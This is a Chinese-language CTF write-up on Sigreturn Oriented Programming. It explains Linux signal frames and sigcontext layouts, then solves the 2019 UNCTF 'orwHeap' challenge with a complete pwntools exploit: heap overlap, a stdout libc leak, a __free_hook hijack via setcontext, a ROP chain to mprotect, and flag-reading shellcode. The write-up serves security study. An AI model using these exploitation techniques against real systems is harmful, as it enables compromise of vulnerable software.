简介
SROP的全称是Sigreturn Oriented Programming
,这是ROP
攻击方法中的一种,其中sigreturn
是一个系统调用,在类unix系统发生signal的时候会被间接地调用;在传统的ROP
攻击中我们需要寻找大量的gadgets
来对寄存器进行赋值已达到我们的需求,而SROP
可以减少我们寻找gadgets
的难度…
前置知识
signal 机制
我们都知道在Linux中,系统被分为了用户态和内核态,通常情况下用户态和内核态是相互隔离开的,而signal
机制是类unix系统中进程之间相互传递信息的一种方法,常见的信号机制常见的步骤如下图所示:
- 内核向某个进程发送signal机制,该进程会被暂时挂起,进入内核态;
- 内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入signal信息,以及指向sigreturn的系统调用地址;此时栈的结构如下图所示,我们称ucontext以及siginfo这一段为Signal Frame.需要注意的是,这一部分是在用户进程的地址空间的;之后会跳转到注册过的signal handler中处理相应的signal.因此,当signal handler执行完之后,就会执行sigreturn代码.
(此段引用ctf-wiki)
简单的来说就是当一个用户层进程发起signal
时,控制权就会切到内核层,然后内核保存进程的上下文,即各个寄存器的值到用户的栈上,然后再把rt_sigreturn
的地址压栈,跳到用户层执行Signal Handler
,即调用rt_sigreturn
;当rt_sigreturn
执行完了之后就会跳到内核层,进行内核的操作了;最后内核恢复2中保存的进程上下文,控制权再次交还到用户层进程…
sigcontext结构体
64位:
struct _fpstate
{
/* FPU environment matching the 64-bit FXSAVE layout. */
__uint16_t cwd;
__uint16_t swd;
__uint16_t ftw;
__uint16_t fop;
__uint64_t rip;
__uint64_t rdp;
__uint32_t mxcsr;
__uint32_t mxcr_mask;
struct _fpxreg _st[8];
struct _xmmreg _xmm[16];
__uint32_t padding[24];
};
struct sigcontext
{
__uint64_t r8;
__uint64_t r9;
__uint64_t r10;
__uint64_t r11;
__uint64_t r12;
__uint64_t r13;
__uint64_t r14;
__uint64_t r15;
__uint64_t rdi;
__uint64_t rsi;
__uint64_t rbp;
__uint64_t rbx;
__uint64_t rdx;
__uint64_t rax;
__uint64_t rcx;
__uint64_t rsp;
__uint64_t rip;
__uint64_t eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short __pad0;
__uint64_t err;
__uint64_t trapno;
__uint64_t oldmask;
__uint64_t cr2;
__extension__ union
{
struct _fpstate * fpstate;
__uint64_t __fpstate_word;
};
__uint64_t __reserved1 [8];
};
32位:
struct sigcontext
{
unsigned short gs, __gsh;
unsigned short fs, __fsh;
unsigned short es, __esh;
unsigned short ds, __dsh;
unsigned long edi;
unsigned long esi;
unsigned long ebp;
unsigned long esp;
unsigned long ebx;
unsigned long edx;
unsigned long ecx;
unsigned long eax;
unsigned long trapno;
unsigned long err;
unsigned long eip;
unsigned short cs, __csh;
unsigned long eflags;
unsigned long esp_at_signal;
unsigned short ss, __ssh;
struct _fpstate * fpstate;
unsigned long oldmask;
unsigned long cr2;
};
可以看到这里面保存有很多的寄存器,signal handler
返回后,内核为执行 sigreturn 系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新pop
回对应的寄存器,最后恢复进程的执行…
需要注意的是32位的sigreturn
的调用号为77,64位的系统调用号为15…
攻击原理
因为Signal Frame
保存在用户的地址空间中,所以用户是可以读写的;利用rt_sigreturn
恢复ucontext_t
的机制,我们可以构造一个假的ucontext_t
,这样我们就能控制所有的寄存器…
不过在结构体的构建时,我们可以用pwntools
里面有现成的库函数:
用法可以这样:
# 指定机器的运行模式
context.arch = "amd64"
# 设置寄存器
sigframe = SigreturnFrame()
sigframe.rax = 0x1
sigframe.rdi = 0x2
sigframe.rsi = 0x3
sigframe.rdx = 0x4
但是这个SROP
并不是单纯只用在一个栈溢出漏洞中,通常我们会结合有些其他的漏洞来使用,因为比较难构造…
实例
这里我以2019UNCTF
的orwHeap
这道题目来简单感受一下SROP的威力:
首先,我们先运行查看这个程序的功能:
我们发现是常规的堆分配,编辑和删除,但是没有输出…
检查开了哪些保护:
然后我们打开ida来分析:
这里明显有溢出了…
所以这里我们可以利用这个漏洞来修改堆的size
使得堆其重叠,然后控制堆;
但是因为这里我们没有show
功能来泄露地址,所以我们要想办法利用stdout
函数来泄露地址;
我们需要在堆上面留下main_arena
的地址,利用重叠的堆来修改这个地址,让其分配到stdout
的位置,因为stdout
的地址和main_arena
离的很近,所以我们只需要爆破一个字节的地址就可以成功;
之后我们获得了地址了就可以利用fastbin attack
劫持__free_hook
,利用setcontex
来进行SROP然后ROP读出flag
了;
这里要说一下setcontext
函数;
int setcontext(const ucontext_t *ucp);
这个函数的作用主要是用户上下文的获取和设置,可以利用这个函数直接控制大部分寄存器和执行流:
pwndbg> x/80i 0x7ffff7a7bb50
0x7ffff7a7bb50 <setcontext>: push rdi
0x7ffff7a7bb51 <setcontext+1>: lea rsi,[rdi+0x128]
0x7ffff7a7bb58 <setcontext+8>: xor edx,edx
0x7ffff7a7bb5a <setcontext+10>: mov edi,0x2
0x7ffff7a7bb5f <setcontext+15>: mov r10d,0x8
0x7ffff7a7bb65 <setcontext+21>: mov eax,0xe
0x7ffff7a7bb6a <setcontext+26>: syscall
0x7ffff7a7bb6c <setcontext+28>: pop rdi
0x7ffff7a7bb6d <setcontext+29>: cmp rax,0xfffffffffffff001
0x7ffff7a7bb73 <setcontext+35>: jae 0x7ffff7a7bbd0 <setcontext+128>
0x7ffff7a7bb75 <setcontext+37>: mov rcx,QWORD PTR [rdi+0xe0]
0x7ffff7a7bb7c <setcontext+44>: fldenv [rcx]
0x7ffff7a7bb7e <setcontext+46>: ldmxcsr DWORD PTR [rdi+0x1c0]
0x7ffff7a7bb85 <setcontext+53>: mov rsp,QWORD PTR [rdi+0xa0]
0x7ffff7a7bb8c <setcontext+60>: mov rbx,QWORD PTR [rdi+0x80]
0x7ffff7a7bb93 <setcontext+67>: mov rbp,QWORD PTR [rdi+0x78]
0x7ffff7a7bb97 <setcontext+71>: mov r12,QWORD PTR [rdi+0x48]
0x7ffff7a7bb9b <setcontext+75>: mov r13,QWORD PTR [rdi+0x50]
0x7ffff7a7bb9f <setcontext+79>: mov r14,QWORD PTR [rdi+0x58]
0x7ffff7a7bba3 <setcontext+83>: mov r15,QWORD PTR [rdi+0x60]
0x7ffff7a7bba7 <setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8]
0x7ffff7a7bbae <setcontext+94>: push rcx
0x7ffff7a7bbaf <setcontext+95>: mov rsi,QWORD PTR [rdi+0x70]
0x7ffff7a7bbb3 <setcontext+99>: mov rdx,QWORD PTR [rdi+0x88]
0x7ffff7a7bbba <setcontext+106>: mov rcx,QWORD PTR [rdi+0x98]
0x7ffff7a7bbc1 <setcontext+113>: mov r8,QWORD PTR [rdi+0x28]
0x7ffff7a7bbc5 <setcontext+117>: mov r9,QWORD PTR [rdi+0x30]
0x7ffff7a7bbc9 <setcontext+121>: mov rdi,QWORD PTR [rdi+0x68]
0x7ffff7a7bbcd <setcontext+125>: xor eax,eax
0x7ffff7a7bbcf <setcontext+127>: ret
0x7ffff7a7bbd0 <setcontext+128>: mov rcx,QWORD PTR [rip+0x3572a1] # 0x7ffff7dd2e78
0x7ffff7a7bbd7 <setcontext+135>: neg eax
0x7ffff7a7bbd9 <setcontext+137>: mov DWORD PTR fs:[rcx],eax
0x7ffff7a7bbdc <setcontext+140>: or rax,0xffffffffffffffff
0x7ffff7a7bbe0 <setcontext+144>: ret
一般是从setcontext+53
开始用的,不然程序容易崩溃,主要是为了避开fldenv [rcx]
这个指令…
一般用来利用call mprotect
-> jmp shellcode
0x7ffff7b1e4d0 <mprotect>: mov eax,0xa
0x7ffff7b1e4d5 <mprotect+5>: syscall
0x7ffff7b1e4d7 <mprotect+7>: cmp rax,0xfffffffffffff001
0x7ffff7b1e4dd <mprotect+13>: jae 0x7ffff7b1e4e0 <mprotect+16>
0x7ffff7b1e4df <mprotect+15>: ret
0x7ffff7b1e4e0 <mprotect+16>: mov rcx,QWORD PTR [rip+0x2b4991] # 0x7ffff7dd2e78
0x7ffff7b1e4e7 <mprotect+23>: neg eax
0x7ffff7b1e4e9 <mprotect+25>: mov DWORD PTR fs:[rcx],eax
0x7ffff7b1e4ec <mprotect+28>: or rax,0xffffffffffffffff
0x7ffff7b1e4f0 <mprotect+32>: ret
最终的exp如下:
EXP
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
context.arch = 'amd64'
name = './pwn'
p = process(name)
# p = remote('101.71.29.5', 10005)
elf = ELF(name)
# libc = ELF('./libc-2.27.so')
libc = ELF('./x64_libc-2.23.so.6')
if args.G:
gdb.attach(p)
def add(size, content):
p.sendlineafter('Your Choice: ', '1')
p.sendlineafter(': ', str(size))
p.sendafter(': ' , content)
def delete(index):
p.sendlineafter('Your Choice: ', '2')
p.sendlineafter(': ', str(index))
def edit(index, content):
p.sendlineafter('Your Choice: ', '3')
p.sendlineafter(': ', str(index))
p.sendafter(': ' , content)
add(0x68, '\n')
add(0x78, '\n')
add(0x68, (p64(0) + p64(0x21)) * 6 + '\n')
add(0x68, (p64(0) + p64(0x21)) * 6 + '\n')
delete(0)
add(0x68, 'a' * 0x60 + p64(0) + p8(0xf1))
delete(1)
delete(2)
add(0x78, '\n')
delete(0)
add(0x68, 'a' * 0x60 + p64(0) + p8(0xa1))
delete(1)
add(0x98, '\n')
edit(1, 'b' * 0x70 + p64(0) + p64(0x71) + p16(0x25dd)) # 0x25dd需要爆破
add(0x68, '\n')
add(0x68, 'c' * 0x33 + p64(0xfbad2887 | 0x1000) + p64(0) * 3 + '\n')
p.recvn(0x88)
libc_addr = u64(p.recvn(8)) - libc.symbols['_IO_2_1_stdin_']
log.success('libc_addr: ' + hex(libc_addr))
edit(1, 'b' * 0x70 + p64(0) + p64(0x91))
delete(2)
edit(1, 'b' * 0x70 + p64(0) + p64(0x91) + p64(0) + p64(libc_addr + libc.symbols['__free_hook'] - 0x20))
add(0x88, '\n')
edit(1, 'b' * 0x70 + p64(0) + p64(0x71))
delete(2)
edit(1, 'b' * 0x70 + p64(0) + p64(0x71) + p64(libc_addr + libc.symbols['__free_hook'] - 0x13))
frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = (libc_addr + libc.symbols['__free_hook']) & 0xfffffffffffff000 #
frame.rdx = 0x2000
frame.rsp = (libc_addr + libc.symbols['__free_hook']) & 0xfffffffffffff000
frame.rip = libc_addr + 0x00000000000bc375 #: syscall; ret;
payload = str(frame)
add(0x68, payload[0x80:0x80 + 0x60] + '\n')
add(0x68, 'fff' + p64(libc_addr + libc.symbols['setcontext'] + 53) + '\n')
edit(1, payload[:0x98])
delete(1)
layout = [
libc_addr + 0x0000000000021102, #: pop rdi; ret;
(libc_addr + libc.symbols['__free_hook']) & 0xfffffffffffff000,
libc_addr + 0x00000000000202e8, #: pop rsi; ret;
0x2000,
libc_addr + 0x0000000000001b92, #: pop rdx; ret;
7,
libc_addr + 0x0000000000033544, #: pop rax; ret;
10,
libc_addr + 0x00000000000bc375, #: syscall; ret;
libc_addr + 0x0000000000002a71, #: jmp rsp;
]
shellcode = asm('''
sub rsp, 0x800
push 0x67616c66
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall
cmp eax, 0
js failed
mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall
mov edx, eax
mov rsi, rsp
mov edi, 1
mov eax, edi
syscall
jmp exit
failed:
push 0x6c696166
mov edi, 1
mov rsi, rsp
mov edx, 4
mov eax, edi
syscall
exit:
xor edi, edi
mov eax, 231
syscall
''')
p.send(flat(layout) + shellcode)
p.interactive()